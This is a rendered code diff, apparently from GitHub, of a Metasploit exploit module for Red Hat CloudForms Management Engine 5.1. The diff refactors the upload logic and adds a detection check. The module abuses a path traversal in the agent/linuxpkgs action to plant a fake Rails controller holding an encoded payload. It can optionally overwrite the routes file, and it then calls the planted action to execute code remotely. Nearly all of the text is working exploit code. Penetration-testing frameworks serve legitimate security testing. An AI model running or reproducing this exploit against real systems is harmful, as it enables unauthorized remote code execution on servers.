1
1
##
2
- # This file is part of the Metasploit Framework and may be subject to
3
- # redistribution and commercial restrictions. Please see the Metasploit
4
- # web site for more information on licensing and terms of use.
5
- # http://metasploit.com/
2
+ # This module requires Metasploit: http//metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
6
4
##
7
5
8
6
require 'msf/core'
@@ -15,10 +13,10 @@ def initialize
15
13
super (
16
14
'Name' => 'Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal' ,
17
15
'Description' => %q{
18
- This module exploits a path traversal vulnerability in the "linuxpkgs"
16
+ This module exploits a path traversal vulnerability in the "linuxpkgs"
19
17
action of "agent" controller of the Red Hat CloudForms Management Engine 5.1
20
18
(ManageIQ Enterprise Virtualization Manager 5.0 and earlier).
21
- It uploads a fake controller to the controllers directory of the Rails
19
+ It uploads a fake controller to the controllers directory of the Rails
22
20
application with the encoded payload as an action and sends a request to
23
21
this action to execute the payload. Optionally, it can also upload a routing
24
22
file containing a route to the action. (Which is not necessary, since the
@@ -40,33 +38,52 @@ def initialize
40
38
[ 'Automatic' , { } ]
41
39
] ,
42
40
'DisclosureDate' => 'Sep 4 2013' ,
43
- 'DefaultOptions' => { 'PrependFork' => true } ,
41
+ 'DefaultOptions' =>
42
+ {
43
+ 'PrependFork' => true ,
44
+ 'SSL' => true
45
+ } ,
44
46
'DefaultTarget' => 0
45
47
)
46
48
47
49
register_options (
48
50
[
49
51
Opt ::RPORT ( 443 ) ,
50
- OptBool . new ( 'SSL' , [ true , 'Use SSL' , true ] ) ,
51
- OptBool . new ( 'ROUTES' , [ true , 'Upload a routing file' , false ] ) ,
52
52
OptString . new ( 'CONTROLLER' , [ false , 'The name of the controller' ] ) ,
53
53
OptString . new ( 'ACTION' , [ false , 'The name of the action' ] ) ,
54
54
OptString . new ( 'TARGETURI' , [ true , 'The path to the application' , '/' ] ) ,
55
55
OptEnum . new ( 'HTTP_METHOD' , [ true , 'HTTP Method' , 'POST' , [ 'GET' , 'POST' ] ] )
56
56
] , self . class
57
57
)
58
+
59
+ register_advanced_options (
60
+ [
61
+ OptBool . new ( 'ROUTES' , [ true , 'Upload a routing file. Warning: It is not necessary by default and can damage the target application' , false ] ) ,
62
+ ] , self . class )
63
+ end
64
+
65
+ def check
66
+ res = send_request_cgi (
67
+ 'uri' => normalize_uri ( target_uri . path , "ping.html" )
68
+ )
69
+
70
+ if res and res . code == 200 and res . body . to_s =~ /EVM ping response/
71
+ return Exploit ::CheckCode ::Detected
72
+ end
73
+
74
+ return Exploit ::CheckCode ::Unknown
58
75
end
59
76
60
77
def exploit
61
78
controller =
62
- if datastore [ 'CONTROLLER' ] . nil? || datastore [ 'CONTROLLER' ] . empty ?
79
+ if datastore [ 'CONTROLLER' ] . blank ?
63
80
Rex ::Text . rand_text_alpha_lower ( rand ( 9 ) + 3 )
64
81
else
65
82
datastore [ 'CONTROLLER' ] . downcase
66
83
end
67
84
68
85
action =
69
- if datastore [ 'ACTION' ] . nil? || datastore [ 'ACTION' ] . empty ?
86
+ if datastore [ 'ACTION' ] . blank ?
70
87
Rex ::Text . rand_text_alpha_lower ( rand ( 9 ) + 3 )
71
88
else
72
89
datastore [ 'ACTION' ] . downcase
@@ -75,42 +92,37 @@ def exploit
75
92
data = "class #{ controller . capitalize } Controller < ApplicationController; def #{ action } ; #{ payload . encoded } ; render :nothing => true; end; end\n "
76
93
77
94
print_status ( "Sending fake-controller upload request to #{ target_url ( 'agent' , 'linuxpkgs' ) } ..." )
78
- res = send_request_cgi (
79
- 'method' => datastore [ 'HTTP_METHOD' ] ,
80
- 'uri' => normalize_uri ( target_uri . path , 'agent' , 'linuxpkgs' ) ,
81
- "vars_#{ datastore [ 'HTTP_METHOD' ] . downcase } " => {
82
- 'data' => Rex ::Text . encode_base64 ( Rex ::Text . zlib_deflate ( data ) ) ,
83
- 'filename' => "../../app/controllers/#{ controller } _controller.rb" ,
84
- 'md5' => Rex ::Text . md5 ( data )
85
- }
86
- )
95
+ res = upload_file ( "../../app/controllers/#{ controller } _controller.rb" , data )
87
96
88
- fail_with ( Failure ::Unknown , 'No response from remote host' ) if res . nil?
97
+ fail_with ( Failure ::Unknown , 'No response from remote host' ) unless res and res . code == 500
89
98
90
99
if datastore [ 'ROUTES' ]
91
100
data = "Vmdb::Application.routes.draw { root :to => 'dashboard#login'; match ':controller(/:action(/:id))(.:format)' }\n "
92
101
93
102
print_status ( "Sending routing-file upload request to #{ target_url ( 'agent' , 'linuxpkgs' ) } ..." )
94
- res = send_request_cgi (
95
- 'method' => datastore [ 'HTTP_METHOD' ] ,
96
- 'uri' => normalize_uri ( target_uri . path , 'agent' , 'linuxpkgs' ) ,
97
- "vars_#{ datastore [ 'HTTP_METHOD' ] . downcase } " => {
98
- 'data' => Rex ::Text . encode_base64 ( Rex ::Text . zlib_deflate ( data ) ) ,
99
- 'filename' => '../../config/routes.rb' ,
100
- 'md5' => Rex ::Text . md5 ( data )
101
- }
102
- )
103
-
104
- fail_with ( Failure ::Unknown , 'No response from remote host' ) if res . nil?
103
+ res = upload_file ( "../../config/routes.rb" , data )
104
+ fail_with ( Failure ::Unknown , 'No response from remote host' ) unless res and res . code == 500
105
105
end
106
106
107
107
print_status ( "Sending execute request to #{ target_url ( controller , action ) } ..." )
108
108
send_request_cgi (
109
109
'method' => 'POST' ,
110
110
'uri' => normalize_uri ( target_uri . path , controller , action )
111
111
)
112
+ end
113
+
114
+ def upload_file ( filename , data )
115
+ res = send_request_cgi (
116
+ 'method' => datastore [ 'HTTP_METHOD' ] ,
117
+ 'uri' => normalize_uri ( target_uri . path , 'agent' , 'linuxpkgs' ) ,
118
+ "vars_#{ datastore [ 'HTTP_METHOD' ] . downcase } " => {
119
+ 'data' => Rex ::Text . encode_base64 ( Rex ::Text . zlib_deflate ( data ) ) ,
120
+ 'filename' => filename ,
121
+ 'md5' => Rex ::Text . md5 ( data )
122
+ }
123
+ )
112
124
113
- handler
125
+ return res
114
126
end
115
127
116
128
def target_url ( *args )
0 commit comments